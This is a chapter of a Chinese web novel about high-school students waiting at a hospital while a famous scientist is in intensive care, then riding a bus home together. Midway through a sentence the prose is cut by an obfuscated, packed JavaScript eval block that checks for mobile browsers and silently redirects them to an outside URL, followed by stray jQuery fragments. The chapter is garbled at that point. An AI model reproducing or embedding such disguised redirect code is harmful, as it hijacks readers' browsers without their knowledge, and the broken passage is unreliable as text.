33. 奇怪

作品:《脱敏

    .


    沈林风说完,把桌上的笔、作业还有草稿纸拢了拢,往书包里一塞,十万火急一般。


    “喻星旋,不好意思啊,今天不能跟你一起补作业了。”沈林风把书包甩到肩上,“阿授在市一院,我过去看看他怎么样了。”


    “等一下。”


    喻星旋不放心现在的沈林风,自从接到陈嘉授电话,他的魂都在头顶飘着。喻星旋怕他在路上出什么意外,觉得还是自己看着保险一些:“我跟你一起去。”


    出租车将他们送到医院门口,沈林风却没直接去病房,而是在医院外找了家快餐店,打包了一份粥和小笼包。


    “我想着给他带点吃的,阿授昨晚一下飞机就去医院,一直守到现在,还没吃一口饭。”


    沈林风眼中全是焦急。喻星旋点点头,心中感叹,陈嘉授很幸运,有这样为他两肋插刀的朋友。


    刚接过塑料袋,他就快步朝住院部方向走。


    喻星旋连忙小跑跟上。


    沈林风顾不上看路,横穿马路时,一辆高速行驶的车开过来,朝他疯狂按喇叭。


    “当心。”


    “……”沈林风这才如梦初醒,如果不是喻星旋及时出手拉住了他,他就被刚才那辆汽车刮到了,“谢谢啊喻星旋,幸好你够冷静。”


    住院部,电梯将他们送上32楼。


    陈自钧正住在顶层的单人特级加护病房。


    沈林风在路上说,他的人已经抢救过来了,却还在昏迷状态。


    病房外已经清过场,只有少数几个家属可以在门口等候。


    喻星旋跟着沈林风一路过去,居然在走廊上看到了许多政要名人。


    每个人都是面色凝重,足可见icu内那位鼎鼎大名的科学家,目前形势是多么不容乐观。


    隔着人群,还未走近,就远远看到长椅上的陈嘉授。


    病房外灯光森白,ICU的红色指示灯倒映在冰冷的地板上。


    他的头发乱了,背弓得很低,手肘撑着腿,双手交握,拇指抵着额头出神,维持那个姿势一动不动。


    走近了,他也没抬头,但却能明显看到他凸起的泛白的指节,手也颤抖得厉害。


    喻星旋忽的就泛起一丝难言的,近似于恻隐的情绪。


    她从来没有见过陈嘉授这般颓丧的样子。


    最狼狈的时候,也不过是那回发烧倒在她肩上。


    但也不像现在这样,人是清醒的,却像被人抽走了魂魄。


    沈林风担忧地叫他:“阿授,陈老怎么样?”


    陈嘉授视线扫过他们二人,木然的神情这才有了变化:“是你们。”


    喻星旋咬了咬下唇。


    她知道现在应该安慰一下陈嘉授,说陈自钧福大命大,一定会转危为安。


    但喻星旋说不出口。她也不确定,里面的这位前辈究竟能不能挺过这道生死关。


    她还是不要给陈嘉授增加无用的期待了吧。


    沈林风:“知道你从昨天到现在没吃东西,给你带了饭。”


    陈嘉授一眼都没看,嗓音疲惫嘶哑:“我吃不下。”


    沈林风继续劝他:“我知道是凑合买的,但你多少吃一点……”


    “……”


    陈嘉授猛地扬头,脸色差到吓人,他的耐心已经告罄,几乎要压制不住眼中的烦躁:“能少说两句么?我说了吃不下,能不能听得懂人话?”


    他从没这么不耐烦过,沈林风愣了愣。


    虽然知道他是在为陈自钧着急,但他还是有点受伤。


    他张了张嘴,最后还是什么都没说,把小笼包和粥放在陈嘉授身边,低声说句:“咱们走吧。”


    沈林风走出几步,才发现喻星旋没跟上来,他转身看去,看到喻星旋也寒着一张脸。


    她没理会沈林风叫她一起走,站着不动:“陈嘉授,你过来一下。”


    陈嘉授置若罔闻,但喻星旋依旧坚持:“如果你不想过来,我就当着他们的面在这儿说。”


    陈嘉授看了她一眼,默不作声地站起身。


    来到一处人少的窗边,陈嘉授停下:“你说吧。”


    “你是不是觉得,现在只有你一个人着急?”


    她理解陈嘉授担心亲人,但着急,就是他拿别人撒气的理由?


    陈嘉授显然错愕住了:“什么?”


    “刚才我们一路过去,每个人的表情都很焦急,大家都希望陈老能平安无事。沈林风更是接到你的电话就马上往医院赶,急着给你送吃的差点被汽车刮到,可你对他什么态度?别人关心你,你摆出这幅样子给谁看?”


    还没人敢对陈嘉授这么说话,连他们几个从小认识的朋友都不敢。沈林风立刻出了一头冷汗:“好了好了,今天就先这样。咱们也该去吃午饭了,喻星旋你想吃什么?我请。”


    “……”


    沈林风一手扯着喻星旋的衣服,一手虚揽着她,半求半拖地把她请到了电梯间。


    “别这样,姐,你是我亲姐还不行吗。”他真是请来了一位了不得的人物。沈林风对眼前这尊活佛双手合十,“陈嘉授他就这烂德行,我们都习惯了,你看你,还特意为了这事儿生气,多不值当啊。”


    喻星旋皱眉:“他这样子就是被你们惯的。”


    沈林风被她一噎,悻悻地说:“……不是,那个,不带这样的吧,咋还无差别攻击上了呢?”


    电梯上到32层,喻星旋和沈林风走进去,按下关门键。


    就在这时,一只手抵住了正在闭合的电梯门。


    看到来人,喻星旋和沈林风对视一眼。


    沈林风:“阿授?你这是……”


    “吃饭。”


    陈嘉授转身背对着他们,电梯开始下降。


    他的手背在身后,指节间,悬着沈林风装早餐的塑料袋。


    “谢了。”


    他的语气缓和了许多,细听能听出藏在其中的一丝不自在:“中午我请。”


    三人没走远,就近在医院附近找了一家看得过去的面馆。


    陈嘉授给自己点了小份面,把沈林风早上买给他的、已经变凉的早餐都吃掉了。


    小笼包的皮都被汤汁泡透,口感可想而知。陈嘉授每吃一个,表情都很一言难尽。


    喻星旋忽然有点愧疚:“对不起。”


    陈嘉授跟沈林风和好如初,对她却不客气:“你哪有错。”


    “我刚才听你那么说,所以对你态度不好。”


    啪,陈嘉授手中筷子往碗上一放:“你态度哪次好过?”


    沈林风以为他们又要吵起来,连忙出来打圆场:“行了行了……”


    但这次喻星旋已经决定,无论陈嘉授说什么都不跟他吵。


    她情绪稳定得过分,用那双剔透的眼睛,认真注视他:“陈嘉授,你跟你太姥爷,感情很深吗?”


    今天来到市一院,勾起了喻星旋某些不好的回忆。


    她的爷爷也是在这所医院过世的。


    爷爷在孩子的事情上对不起奶奶,可平心而论,对她却没的说。


    那一年喻星旋上小学五年级,课堂上,班主任急急忙忙地到班上通知她,说她爷爷快不行了,让她赶紧去医院一趟,她二叔来学校接她。


    但喻星旋没有见到爷爷最后一面,因为赶到医院时他已经过世了。


    他的身上被盖上白布,但并没有出现电视剧里那种亲属嚎啕大哭,不愿接受现实,扑上去阻拦的悲伤画面。


    相反,每个人都平静而忙碌,因为爷爷还有许多后事等待处理。


    喻星旋站在旁边,流了几滴眼泪后,忽然想到一个不合时宜的问题。


    爷爷此时如果在天上看着,是希望看到亲人们为他的离世而悲伤、念念不忘呢,还是希望他们不受影响地过好自己的生活?


    人人大概都会回答后者,但心里想的应该是前者。


    从某种意义上,喻星旋觉得陈自钧是幸运的。


    他生前被许多人景仰,生后会被一代又一代人纪念。


    还有陈嘉授这样的后人,在他生死未卜之际,还在真真切切地担心着他的安危。


    “不是感情深不深的问题,陈老那可是阿授的灯塔,他的引路星啊!”


    沈林风因为激动有些夸张,陈嘉授却没打断他,让他继续说下去。


    “陈老在他出生那年被国家颁发了共和国勋章,家里给他取这个名字,本身就有纪念的意思。上学前班,别人啥也不懂就知道玩,他已经开始摆弄那些航模了。网上应该也能查到,这些年飞行器大赛大大小小的奖基本都被他一人包揽,大家都说,他长大之后,一定能接陈自钧的班。”


    “我有在意的东西。”


    陈嘉授忽然说。


    沈林风正奇怪他的话题为何转得如此之快,喻星旋却觉得这话无比耳熟。


    几秒钟后,她已然反应过来。


    她的相机镜头在他手里摔坏的那天,她气得口不择言,说陈嘉授没有在意的东西。


    可他居然……还记得这句话?


    喻星旋想得出神,陈嘉授忽然把自己的手机放到她眼前。


    屏幕上的图片喻星旋不陌生,是他的微信头像,有一个模糊的土星的轮廓。


    “这是?”


    “是用他送我的天文望远镜观察到的土星。上个世纪的物件,他亲手做的,很珍贵。”


    陈嘉授略一停顿,像是意有所指地补充了句:“就像你在意你奶奶送你的镜头一样。”


    喻星旋猛地睁大眼睛:“你知道?!”


    “嗯。那天你走了,你朋友告诉了我。”


    喻星旋的心忽然跳得很快,在伤感的话题下骤然提到仅有她和陈嘉授两个人知道的事,让她不由觉得有些不自在。


    她的视线转向窗外,刚好看见了一幢建筑,指给他们看:“你们看到那边最高的大楼没有?”


    “那是长南第一幢百货大楼,总设计师是我爷爷。大楼外体上镶着一块大理石的纪念牌,上面刻了他的名字。”


    “没有人会长存于世,但人留下的东西会。”


    “所以后来我在想,能成为我爷爷那样的建筑师也很不错。希望如果我有一天离开了,有人会对我念念不忘。或者,就算没有,我也能在这个世界上,留下我存在过的证明。”


    喻星旋单手托着腮,看似是在自言自语,实际上,她希望陈嘉授能意会,并且从其中得到宽慰。


    她不知道陈自钧能不能挺过这一关,所以既不能对他保证陈自钧会平安无恙,也不能安慰他节哀顺变。


    但是,她想告诉他的是,陈自钧会被许多人纪念,他留下的故事,他为国家发展做出的贡献,对每个人而言,都是永远不会被磨灭的证明。


    女生嗓音淡淡,一字一句却仿若砸在人的心上。


    沈林风无声地呐喊。他从前只觉得喻星旋是个学霸,可现在呢,喻星旋在他眼中,简直就像个深沉高大的哲学家!


    他看向一旁自己的好友,期待看到对方跟自己同样震惊。


    但有一瞬间,沈林风怀疑是不是自己的错觉。


    陈嘉授分明没有太大的表情,但眼尾不知何时晕开了一抹薄红。


    他一瞬不瞬地望着喻星旋的侧脸,眼底似有迸溅的光彩,目光灼灼。


    -


    担心陈嘉授回医院再次被勾起伤心事,沈林风硬是拉着陈嘉授在面馆唠了四个小时。


    到后面,他家里来了客人,爸妈打电话催他回去,他不得不马上回家。


    沈林风一步三回头:“我先回去了?我真回去了哈,你们两个人真的ok?”


    陈嘉授无所谓的:“你去吧。”


    沈林风走后,桌边只剩她和陈嘉授两人。


    她静静坐在他身边。


    能看出他还是不能彻底放下心来,今天下午跟他们说话一直在强打精神。


    喻星旋不是一个很能说出宽慰人的话的人,况且要说的也已经说了,其余的安慰都显得苍白。


    “喻星旋。”陈嘉授忽然说,“陪我出去待会儿。”


    “好,你想去哪?”


    她今天可以说是对他百依百顺,可陈嘉授并未感到多少开心。


    “想不出。你说呢?”


    “我压力大的时候,喜欢坐公交到终点站,再从终点站坐回来。”她真诚地推荐,“你想试试吗?我每次坐完公交,心情都会好很多。”


    陈嘉授却用一种难言的表情看着她。


    喻星旋终于意识到自己的哪壶不开提哪壶。


    上次去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841379|175451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    修镜头他就是坐的公交,差点没了半条命。


    “……我忘了。”喻星旋尴尬地摸摸鼻尖,“要不你换一个。”


    陈嘉授没说话,站起来走向店外,喻星旋也立刻跟上。


    她以为他要带她去哪,但最后,陈嘉授停在了最近的公交站牌下。


    喻星旋惊讶:“你真的要坐?”


    “可以试试。”陈嘉授活动了一下僵硬的肩颈,看向各路车的途经点,“哪一路到你家?”


    ……


    车窗外的夕色云霞特别好看。


    喻星旋坐在靠过道的一侧,要看夕阳,不可避免地余光落在陈嘉授身上。


    她习惯性地,在收回视线时瞟了陈嘉授一眼。


    但这一次,却不想被他抓了个正着。


    陈嘉授直勾勾地盯着她看,窗外的天色形成背光的效果,他的侧脸被暮色勾勒得煽情。


    “喻星旋。”


    偷看才被抓包,喻星旋为了不使自己显得心虚,刻意拔高了音量:“干什么。”


    “你真的很奇怪。”


    “哪里奇怪。”


    “你总是对我很坏,反而在我狼狈倒霉的时候,又对我很好。你是在补偿我,还是在可怜我?”


    “……我没有。”


    “你有。”


    “真没有。”


    “算了。”陈嘉授放弃继续跟她讨论这个话题,“有时候我真的搞不懂,你脑子里到底在想什么。”


    喻星旋觉得他逻辑有问题:“我脑子里的东西,怎么可能简简单单地就被别人搞懂。”


    公交车走走停停,驶过一个又一个站牌。陈嘉授忽然开口:“清大的建筑系,是不是全国第一?”


    “是……吧。”


    “这么犹豫,你对自己也没什么信心啊。”


    才高一,喻星旋暂时没有梦校的概念,也不理解一些人对梦校的狂热。


    但她明知陈嘉授是激将法,还是被激将到了:“你什么意思,觉得我考不上?”


    陈嘉授挑眉看她。


    他一个第二名有什么资格跑来质疑她:“反正如果我考不上,那你也考不上。”


    陈嘉授:“口气还不小。”


    公交到站,冷风从后门灌进来,喻星旋头偏向另一边,小小地打了个喷嚏。


    一件外套带着点重量,忽然落在她腿上。向一侧滑下去。


    喻星旋立刻伸手捞住。


    外套内侧还带着体温。她盖在腿上也不是,拿着也不是,讶异地看向陈嘉授:“你……”


    陈嘉授脱掉的是最外层的棉服外套,里面还穿着一件黑色冲锋衣。


    喻星旋今天穿的,是喻迟给她挑的毛呢短裙,里面是一条加绒的肤色打底裤,长靴到膝盖,衬得两腿笔直。


    但陈嘉授只是皱眉扫了一眼,显得十分不理解:


    “你什么癖好,大冬天不穿裤子?不冷?”


    喻星旋气结:“……谁不穿裤子?这叫光腿神器,你不懂别瞎说。”


    陈嘉授正要说什么,忽然手机铃声响起。


    喻星旋瞬间恢复端正神色。看着他接电话的表情,已经预感到了对面可能是谁。


    “是……关于陈自钧前辈的?”


    “是。”陈嘉授的嗓音因为兴奋颤抖,紧紧攥住了手旁的护栏,“刚才我妈来电话说,他醒过来了。”


    醒过来就好。喻星旋也彻底松了口气,但陈嘉授依旧目不转睛地盯着她看,看得她后背都有些发毛。


    “……又怎么?”


    “你想见一见他吗?等他出院回家休养一段时间,我带你去。”


    喻星旋为难地皱了皱脸:“好像不太合适吧。”


    她以什么身份去见陈自钧,陈嘉授的同学吗?


    不管是什么身份,都够奇怪的。


    而且陈自钧已经脱险,她现在也不需要再带陈嘉授坐到终点站。


    喻星旋把外套递给他:“我下一站就到家了,你回家好好休息。”


    然而,公交到站,陈嘉授跟她一道走了下来:“送你回去。”


    公交站离奶奶住的小区大门不超过200米,喻星旋很想说一声没必要,最后话到嘴边还是咽了下去。


    只是走一段路而已,他们在学校里遇上,也不是没有同路过,但喻星旋就是觉得特别别扭,而且心虚。


    总觉得会被忽然蹿出来的熟人遇上。


    于是,她一直小心地控制着跟陈嘉授之间的距离。到小区门口时,她觉得是时候赶人了:“好了,就送到这里吧,你爸妈也在等你回家。”


    陈嘉授却向她逼近了一步:“你在心虚什么?”


    见跟他说不通,喻星旋心一横:“你注意点影响好不好,我和你是异性。”


    “异性”两个字还刻意被她加了重音。


    陈嘉授又被她荒谬得笑出声:“你跟其他异性也这么注意影响?”


    喻星旋没好气的:“我又没跟异性一起回过家。”


    一辆白色轿车就在此时慢速开近,在小区门口经过时停下,按了两下喇叭。


    紧接着,朝着喻星旋这一侧的车窗降下,副驾上是一个女人,后排,则是一个跟她年纪相仿的男生。


    对他们莫名的熟悉亲近,让喻星旋一时没挪开眼睛。


    车门拉开,女人和那个男生下了车,随后朝着她走来,停在喻星旋面前。


    女人亲切地唤她:“闪闪,还记得姨姨吗?”


    一些小学之前久远的记忆逐渐复苏,喻星旋迟疑地望着她:“周……阿姨?”


    “是我!”周阿姨把身边那个气质温润的男生推到她面前来,“他呢?你还记得他吗?”


    “妈。”男生很无奈,“我们都离开这么多年了,她不记得也正常。”


    一个名字蓦地跃出脑海,喻星旋惊讶地捂住嘴巴:“柳靖纶!?”


    男生意外地笑了,点点头。


    “我就说她还记得你吧。”周阿姨笑容满面,“你们小学那会儿,还结伴一起下学呢!”


    “……”


    几步之遥,陈嘉授单手拎着外套,面无表情,漠然地听着她的认亲现场。


    这就是她说的,没跟异性一起回过家?


    上辈子,她一定是个撒谎不眨眼的骗子。